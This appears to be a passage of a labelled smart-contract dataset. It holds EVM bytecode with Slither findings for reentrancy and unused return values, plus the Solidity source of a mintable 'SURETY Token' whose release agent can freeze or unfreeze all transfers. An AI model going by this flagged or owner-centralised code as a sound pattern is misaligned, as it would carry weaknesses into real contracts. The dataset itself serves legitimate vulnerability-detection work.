316146107e05760405162461bcd60e51b81526004016107d79061261b565b60405180910390fd5b601080546001600160a01b0319166001600160a01b0392909216919091179055565b600f5460ff166108245760405162461bcd60e51b81526004016107d790612593565b7f000000000000000000000000000000000000000000000000000000000000000a8111156108645760405162461bcd60e51b81526004016107d790612544565b336000908152601360205260409020547f000000000000000000000000000000000000000000000000000000000000000a906108a0908361159e565b11156108fe5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e6e6f74207075726368617365206d6f7265207468656e20313060448201526620746f6b656e7360c81b60648201526084016107d7565b3461091161090a6111a0565b83906115b1565b1461092e5760405162461bcd60e51b81526004016107d7906125ca565b611a0a6109438261093d610b40565b9061159e565b11156109615760405162461bcd60e51b81526004016107d7906124f8565b3360009081526013602052604090205461097b908261159e565b3360008181526013602052604090209190915561099890826115bd565b50565b61079883838360405180602001604052806000815250610c6e565b336109bf610a8c565b6001600160a01b0316146109e55760405162461bcd60e51b81526004016107d79061261b565b610798600a8383611f85565b60006109fc826115db565b5192915050565b60006001600160a01b038216610a2c576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600660205260409020546001600160401b031690565b33610a5a610a8c565b6001600160a01b031614610a805760405162461bcd60e51b81526004016107d79061261b565b610a8a6000611702565b565b6000546001600160a01b031690565b6060600480546106489061270e565b6001600160a01b038216331415610ad45760405163b06307db60e01b815260040160405180910390fd5b3360008181526008602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000610b4f6001546000190190565b905090565b33610b5d610a8c565b6001600160a01b031614610b835760405162461bcd60e51b81526004016107d79061261b565b60026009541415610bd65760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016107d7565b6002600955604051600090339047908381818185875af1925050503d8060008114610c1d576040519150601f19603f3d011682016040523d82523d6000602084013e610c22565b606091505b5050905080610c665760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b60448201526064016107d7565b506001600955565b610c7984848461139c565b6001600160a01b0383163b15158015610c9b5750610c9984848484611752565b155b15610cb9576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b33610cc8610a8c565b6001600160a01b031614610cee5760405162461bcd60e51b81526004016107d79061261b565b600f805460ff1960ff6101008084048216150291821661ffff1984161791811692169190911715179055565b6060610d2582611307565b610d895760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016107d7565b6000610d93611849565b9050600080825111610db45760405180602001604052806000815250610de2565b81610dbe85611858565b600b604051602001610dd2939291906123ee565b6040516020818303038152906040525b949350505050565b600f54610100900460ff16610e115760405162461bcd60e51b81526004016107d790612593565b600e54421015610e635760405162461bcd60e51b815260206004820152601d60248201527f5075726368617365206973206e6f7420617661696c61626c65206e6f7700000060448201526064016107d7565b7f000000000000000000000000000000000000000000000000000000000000000a831115610ea35760405162461bcd60e51b81526004016107d790612544565b336000908152601360205260409020547f000000000000000000000000000000000000000000000000000000000000000a90610edf908561159e565b1115610f485760405162461bcd60e51b815260206004820152603260248201527f596f752063616e6e6f74207075726368617365206d6f7265207468656e20313060448201527120746f6b656e73206f6e2050726573616c6560701b60648201526084016107d7565b34610f5b610f546111a0565b85906115b1565b1115610f795760405162461bcd60e51b81526004016107d7906125ca565b611a0a610f888461093d610b40565b1115610fa65760405162461bcd60e51b81526004016107d7906124f8565b6000610fb3338484611955565b90506001600160a01b03811615801590610fda57506010546001600160a01b038281169116145b6110225760405162461bcd60e51b8152602060048201526019602482015278636c61696d3a20496e76616c6964207369676e61747572652160381b60448201526064016107d7565b3360009081526013602052604090205461103c908561159e565b33600081815260136020526040902091909155610cb990856115bd565b600061063382611a1f565b3361106d610a8c565b6001600160a01b0316146110935760405162461bcd60e51b81526004016107d79061261b565b611a0a6110ae8284516110a691906126ac565b61093d610b40565b11156110cc5760405162461bcd60e51b81526004016107d7906124f8565b60005b82518110156107985761112982601360008685815181106110f2576110f26127ba565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205461159e90919063ffffffff16565b6013600085848151811061113f5761113f6127ba565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555061118e838281518110611180576111806127ba565b6020026020010151836115bd565b8061119881612749565b9150506110cf565b600f54600090610100900460ff16156111ba5750600d5490565b50600c5490565b336111ca610a8c565b6001600160a01b0316146111f05760405162461bcd60e51b81526004016107d79061261b565b4281116112655760405162461bcd60e51b815260206004820152603c60248201527f52656c656173652074696d65206d75737420626520677265617465722074686160448201527f6e206c617374206d696e656420626c6f636b2074696d657374616d700000000060648201526084016107d7565b600e55565b33611273610a8c565b6001600160a01b0316146112995760405162461bcd60e51b81526004016107d79061261b565b6001600160a01b0381166112fe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107d7565b61099881611702565b60008160011115801561131b575060015482105b8015610633575050600090815260056020526040902054600160e01b900460ff161590565b60008281526007602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60006113a7826115db565b80519091506000906001600160a01b0316336001600160a01b031614806113d5575081516113d59033610564565b806113f05750336113e5846106cb565b6001600160a01b0316145b90508061141057604051632ce44b5f60e11b815260040160405180910390fd5b846001600160a01b031682600001516001600160a01b0316146114455760405162a1148160e81b815260040160405180910390fd5b6001600160a01b03841661146c57604051633a954ecd60e21b815260040160405180910390fd5b61147c6000848460000151611340565b6001600160a01b038581166000908152600660209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600590945282852080546001600160e01b031916909417600160a01b4290921691909102179092559086018083529120549091166115665760015481101561156657825160008281526005602090815260409091208054918601516001600160401b0316600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b03166000805160206127fd83398151915260405160405180910390a45b5050505050565b60006115aa8284612680565b9392505050565b60006115aa82846126ac565b6115d7828260405180602001604052806000815250611a74565b5050565b6040805160608101825260008082526020820181905291810191909152818060011115801561160b575060015481105b156116e957600081815260056020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff161515918101829052906116e75780516001600160a01b03161561167e579392505050565b5060001901600081815260056020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff16151592810192909252156116e2579392505050565b61167e565b505b604051636f96cda160e11b815260040160405180910390fd5b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906117879033908990889088906004016124b2565b602060405180830381600087803b1580156117a157600080fd5b505af19250505080156117d1575060408051601f3d908101601f191682019092526117ce91810190612300565b60015b61182c573d8080156117ff576040519150601f19603f3d011682016040523d82523d6000602084013e611804565b606091505b508051611824576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b6060600a80546106489061270e565b60608161187c5750506040805180820190915260018152600360fc1b602082015290565b8160005b81156118a6578061189081612749565b915061189f9050600a83612698565b9150611880565b6000816001600160401b038111156118c0576118c06127d0565b6040519080825280601f01601f1916602001820160405280156118ea576020820181803683370190505b5090505b8415610de2576118ff6001836126cb565b915061190c600a86612764565b611917906030612680565b60f81b81838151811061192c5761192c6127ba565b60200101906001600160f81b031916908160001a90535061194e600a86612698565b94506118ee565b60408051606085901b6bffffffffffffffffffffffff1916602080830191909152825160148184030181526034830184528051908201207f19457468657265756d205369676e6564204d6573736167653a0a33320000000060548401526070808401829052845180850390910181526090909301909352815191012060009190611a158186868080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611a8192505050565b9695505050505050565b60006001600160a01b038216611a48576040516335ebb31960e01b815260040160405180910390fd5b506001600160a01b0316600090815260066020526040902054600160401b90046001600160401b031690565b6107988383836001611aa5565b6000806000611a908585611c43565b91509150611a9d81611cb3565b509392505050565b6001546001600160a01b038516611ace57604051622e076360e81b815260040160405180910390fd5b83611aec5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038516600081815260066020908152604080832080546001600160801b031981166001600160401b038083168c018116918217600160401b67ffffffffffffffff1990941690921783900481168c01811690920217909155858452600590925290912080546001600160e01b031916909217600160a01b429092169190910217905580808501838015611b8f57506001600160a01b0387163b15155b15611c06575b60405182906001600160a01b038916906000906000805160206127fd833981519152908290a4611bce6000888480600101955088611752565b611beb576040516368d2bf6b60e11b815260040160405180910390fd5b80821415611b95578260015414611c0157600080fd5b611c3a565b5b6040516001830192906001600160a01b038916906000906000805160206127fd833981519152908290a480821415611c07575b50600155611597565b600080825160411415611c7a5760208301516040840151606085015160001a611c6e87828585611e69565b94509450505050611cac565b825160401415611ca45760208301516040840151611c99868383611f4c565b935093505050611cac565b506000905060025b9250929050565b6000816004811115611cc757611cc76127a4565b1415611cd05750565b6001816004811115611ce457611ce46127a4565b1415611d2d5760405162461bcd60e51b815260206004820152601860248201527745434453413a20696e76616c6964207369676e617475726560401b60448201526064016107d7565b6002816004811115611d4157611d416127a4565b1415611d8f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016107d7565b6003816004811115611da357611da36127a4565b1415611dfc5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b60648201526084016107d7565b6004816004811115611e1057611e106127a4565b14156109985760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b60648201526084016107d7565b6000806fa2a8918ca85bafe22016d0b997e4df60600160ff1b03831115611e965750600090506003611f43565b8460ff16601b14158015611eae57508460ff16601c14155b15611ebf5750600090506004611f43565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015611f13573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116611f3c57600060019250925050611f43565b9150600090505b94509492505050565b6000806001600160ff1b03831681611f6960ff86901c601b612680565b9050611f7787828885611e69565b935093505050935093915050565b828054611f919061270e565b90600052602060002090601f016020900481019282611fb35760008555611ff9565b82601f10611fcc5782800160ff19823516178555611ff9565b82800160010185558215611ff9579182015b82811115611ff9578235825591602001919060010190611fde565b50612005929150612009565b5090565b5b80821115612005576000815560010161200a565b80356001600160a01b038116811461203557600080fd5b919050565b60008083601f84011261204c57600080fd5b5081356001600160401b0381111561206357600080fd5b602083019150836020828501011115611cac57600080fd5b60006020828403121561208d57600080fd5b6115aa8261201e565b600080604083850312156120a957600080fd5b6120b28361201e565b91506120c06020840161201e565b90509250929050565b6000806000606084860312156120de57600080fd5b6120e78461201e565b92506120f56020850161201e565b9150604084013590509250925092565b6000806000806080858703121561211b57600080fd5b6121248561201e565b9350602061213381870161201e565b93506040860135925060608601356001600160401b038082111561215657600080fd5b818801915088601f83011261216a57600080fd5b81358181111561217c5761217c6127d0565b61218e601f8201601f19168501612650565b915080825289848285010111156121a457600080fd5b808484018584013760008482840101525080935050505092959194509250565b600080604083850312156121d757600080fd5b6121e08361201e565b9150602083013580151581146121f557600080fd5b809150509250929050565b6000806040838503121561221357600080fd5b61221c8361201e565b946020939093013593505050565b6000806040838503121561223d57600080fd5b82356001600160401b038082111561225457600080fd5b818501915085601f83011261226857600080fd5b813560208282111561227c5761227c6127d0565b8160051b925061228d818401612650565b8281528181019085830185870184018b10156122a857600080fd5b600096505b848710156122d2576122be8161201e565b8352600196909601959183019183016122ad565b509997909101359750505050505050565b6000602082840312156122f557600080fd5b81356115aa816127e6565b60006020828403121561231257600080fd5b81516115aa816127e6565b6000806020838503121561233057600080fd5b82356001600160401b0381111561234657600080fd5b6123528582860161203a565b90969095509350505050565b60006020828403121561237057600080fd5b5035919050565b60008060006040848603121561238c57600080fd5b8335925060208401356001600160401b038111156123a957600080fd5b6123b58682870161203a565b9497909650939450505050565b600081518084526123da8160208601602086016126e2565b601f01601f19169290920160200192915050565b6000845160206124018285838a016126e2565b8551918401916124148184848a016126e2565b8554920191600090600181811c908083168061243157607f831692505b85831081141561244f57634e487b7160e01b85526022600452602485fd5b8080156124635760018114612474576124a1565b60ff198516885283880195506124a1565b60008b81526020902060005b858110156124995781548a820152908401908801612480565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611a15908301846123c2565b6020815260006115aa60208301846123c2565b6020808252602c908201527f596f752074727920746f206d696e74206d6f726520746f6b656e73207468616e60408201526b20746f74616c537570706c7960a01b606082015260800190565b6020808252602f908201527f596f752063616e6e6f74207075726368617365206d6f7265207468616e20313060408201526e20746f6b656e73206174206f6e636560881b606082015260800190565b6020808252601d908201527f53616c6520697320636c6f7365642061742074686973206d6f6d656e74000000604082015260600190565b60208082526031908201527f52656365697665642076616c756520646f65736e2774206d61746368207468656040820152702072657175657374656420746f6b656e7360781b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b604051601f8201601f191681016001600160401b0381118282101715612678576126786127d0565b604052919050565b6000821982111561269357612693612778565b500190565b6000826126a7576126a761278e565b500490565b60008160001904831182151516156126c6576126c6612778565b500290565b6000828210156126dd576126dd612778565b500390565b60005b838110156126fd5781810151838201526020016126e5565b83811115610cb95750506000910152565b600181811c9082168061272257607f821691505b6020821081141561274357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561275d5761275d612778565b5060010190565b6000826127735761277361278e565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461099857600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220600b2c8dd103f948526ef58ec24b0532f365ff70ccdb0da6f5554d54e5506a5964736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2620,
2487,
2278,
2575,
2683,
2683,
2094,
2575,
2094,
2692,
24434,
2278,
19317,
2509,
2050,
22275,
28154,
22394,
2497,
22932,
2581,
2546,
16576,
11387,
2549,
2094,
2487,
2050,
2620,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1021,
1025,
12324,
1000,
1012,
1013,
21183,
12146,
1013,
9413,
2278,
2581,
17465,
2050,
1012,
14017,
1000,
1025,
1013,
1013,
12324,
1000,
9413,
2278,
2581,
17465,
2050,
1013,
8311,
1013,
9413,
2278,
2581,
17465,
2050,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
19888,
9888,
1013,
14925,
5104,
2050,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,477 | 0x95382ac82e886a367bac9e1e23beabe569bcfed8 | pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
uint256 public totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Ownable
* The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract SUREToken is MintableToken {
address private deployedAddress = 0x65E5fF263Dd264b78ADcb08c1788c4CEC8910B4B; //Replace this address by the Ethereum main net
string public name = "SURETY Token";
string public symbol = "SURE";
uint public decimals = 6;
uint public totalSupplyToken = 500000000;
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/* A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/* Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/* A contract can release SURETY.AI team members/advisors to transfertoken. If false we are are in transfer lock up period.*/
bool public releasedTeam = false;
/* Map of SURETY.AI's team members/advisors. */
mapping (address => bool) public teamMembers;
constructor() public {
totalSupply_ = totalSupplyToken * (10 ** decimals);
balances[deployedAddress] = totalSupply_;
transferAgents[deployedAddress] = true;
releaseAgent = deployedAddress;
emit Transfer(address(0), deployedAddress, totalSupply_);
}
/**
* Limit token transfer until the crowdsale is over.
*/
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
revert("The token is in the locking period");
}
}
else if (!releasedTeam && teamMembers[_sender])
{
revert("Team members/advisors cannot trade during this period.");
}
_;
}
/**
* Set the contract that can call release and make the token transferable.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
require (!teamMembers[addr], "Error! This address is a team member/advisor address.");
transferAgents[addr] = state;
}
/**
* Owner can add the team member/advisor address.
*/
function setTeamMember(address addr, bool state) onlyOwner inReleaseState(false) public {
require (!transferAgents[addr], "Error! This address is in the transfer agent list.");
teamMembers[addr] = state;
}
/**
* End locking state
*/
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
/**
* Resume locking state.
*/
function stopTokenTransfer() public onlyReleaseAgent {
released = false;
}
/**
* End locking state for team member/advisor.
*/
function releaseTeamTokenTransfer() public onlyReleaseAgent {
releasedTeam = true;
}
/**
* Resume locking state for team member/advisor.
*/
function stopTeamTokenTransfer() public onlyReleaseAgent {
releasedTeam = false;
}
/** The function can be called only before or after the tokens have been releasesd */
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function transfer(address _to, uint256 _value) canTransfer(msg.sender) public returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
} | 0x6080604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302f652a3811461019a57806305d2035b146101c257806306fdde03146101eb578063095ea7b3146102755780630e5fdad41461029957806318160ddd146102ae5780631ee5f936146102d557806323b872dd146102ea578063272133451461031457806327e235e31461032957806329ff4f531461034a578063313ce5671461036b578063324536eb1461038057806338e4b06b1461039557806340c10f19146103aa5780635f412d4f146103ce57806360bba03d146103e3578063661884631461040957806370a082311461042d578063715018a61461044e5780637d64bcb414610463578063867c2857146104785780638da5cb5b1461049957806395d89b41146104ca57806396132521146104df578063a9059cbb146104f4578063b49d3a5314610518578063c836292b1461052d578063d1f276d31461054e578063d73dd62314610563578063dd62ed3e14610587578063f2fde38b146105ae575b600080fd5b3480156101a657600080fd5b506101c0600160a060020a036004351660243515156105cf565b005b3480156101ce57600080fd5b506101d76106c3565b604080519115158252519081900360200190f35b3480156101f757600080fd5b506102006106d3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023a578181015183820152602001610222565b50505050905090810190601f1680156102675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028157600080fd5b506101d7600160a060020a0360043516602435610761565b3480156102a557600080fd5b506101c06107c7565b3480156102ba57600080fd5b506102c36107ed565b60408051918252519081900360200190f35b3480156102e157600080fd5b506101c06107f3565b3480156102f657600080fd5b506101d7600160a060020a0360043581169060243516604435610816565b34801561032057600080fd5b506102c3610985565b34801561033557600080fd5b506102c3600160a060020a036004351661098b565b34801561035657600080fd5b506101c0600160a060020a036004351661099d565b34801561037757600080fd5b506102c36109fe565b34801561038c57600080fd5b506102c3610a04565b3480156103a157600080fd5b506101d7610a0a565b3480156103b657600080fd5b506101d7600160a060020a0360043516602435610a13565b3480156103da57600080fd5b506101c0610b1d565b3480156103ef57600080fd5b506101c0600160a060020a03600435166024351515610b5a565b34801561041557600080fd5b506101d7600160a060020a0360043516602435610c4e565b34801561043957600080fd5b506102c3600160a060020a0360043516610d3e565b34801561045a57600080fd5b506101c0610d59565b34801561046f57600080fd5b506101d7610dc7565b34801561048457600080fd5b506101d7600160a060020a0360043516610e4b565b3480156104a557600080fd5b506104ae610e60565b60408051600160a060020a039092168252519081900360200190f35b3480156104d657600080fd5b50610200610e6f565b3480156104eb57600080fd5b506101d7610eca565b34801561050057600080fd5b506101d7600160a060020a0360043516602435610eda565b34801561052457600080fd5b506101c0611047565b34801561053957600080fd5b506101d7600160a060020a036004351661107e565b34801561055a57600080fd5b506104ae611093565b34801561056f57600080fd5b506101d7600160a060020a03600435166024356110a2565b34801561059357600080fd5b506102c3600160a060020a036004358116906024351661113b565b3480156105ba57600080fd5b506101c0600160a060020a0360043516611166565b600354600160a060020a031633146105e657600080fd5b60095460009060a060020a900460ff161561060057600080fd5b600160a060020a0383166000908152600c602052604090205460ff1615610697576040805160e560020a62461bcd02815260206004820152603560248201527f4572726f7221205468697320616464726573732069732061207465616d206d6560448201527f6d6265722f61647669736f7220616464726573732e0000000000000000000000606482015290519081900360840190fd5b50600160a060020a03919091166000908152600a60205260409020805460ff1916911515919091179055565b60035460a060020a900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107595780601f1061072e57610100808354040283529160200191610759565b820191906000526020600020905b81548152906001019060200180831161073c57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600954600160a060020a031633146107de57600080fd5b600b805460ff19166001179055565b60015490565b600954600160a060020a0316331461080a57600080fd5b600b805460ff19169055565b600954600090849060a060020a900460ff1615156108cb57600160a060020a0381166000908152600a602052604090205460ff1615156108c6576040805160e560020a62461bcd02815260206004820152602260248201527f54686520746f6b656e20697320696e20746865206c6f636b696e67207065726960448201527f6f64000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b610971565b600b5460ff161580156108f65750600160a060020a